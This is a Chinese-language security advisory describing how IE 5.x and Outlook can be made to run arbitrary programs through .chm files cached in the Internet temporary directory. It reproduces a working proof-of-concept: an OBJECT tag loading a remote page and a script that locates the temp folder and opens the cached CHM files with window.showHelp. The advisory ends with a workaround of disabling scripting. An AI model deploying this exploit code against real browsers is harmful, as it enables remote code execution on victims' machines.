IE 5.x/Outlook可通过.chm文件和Internet临时文件目录执行任意程序

IE 5.x/Outlook可通过.chm文件和Internet临时文件目录执行任意程序(2) <BR>
The object below must be loaded from a server with name different from the parent document - it 
may be the same server but use the IP address or another alias.
<BR>
If this does not work try increasing the number of "chm*.chm" in IMG and showHelp.
<BR>
<OBJECT DATA="http://guninski.com/chmtemp.html"; TYPE="text/html" WIDTH=200 HEIGHT=200>

--------chtmtemp.html------------------------------------------------
<SCRIPT>
function g()
{
s=document.URL;
path=s.substr(0,s.lastIndexOf("\\"));
path=unescape(path);
alert("One of your temp files directory is: "+path);
window.showHelp(path+"\\chm1[1].chm");
window.showHelp(path+"\\chm2[1].chm");
window.showHelp(path+"\\chm3[1].chm");
window.showHelp(path+"\\chm4[1].chm");
window.showHelp(path+"\\chm5[1].chm");
window.showHelp(path+"\\chm6[1].chm");
window.showHelp(path+"\\chm7[1].chm");
window.showHelp(path+"\\chm8[1].chm");
window.showHelp(path+"\\chm9[1].chm");
window.showHelp(path+"\\chm10[1].chm");

}
setTimeout("g()",5000); // if you are on a slow internet connection you must increase the delay

</SCRIPT>

　　Georgi Guninski建立了一个演示页面：
　http://www.guninski.com/chmtempmain.html

　　建议: 

　　临时解决办法：

　　禁止执行脚本。

　　厂商补丁：

　　暂无。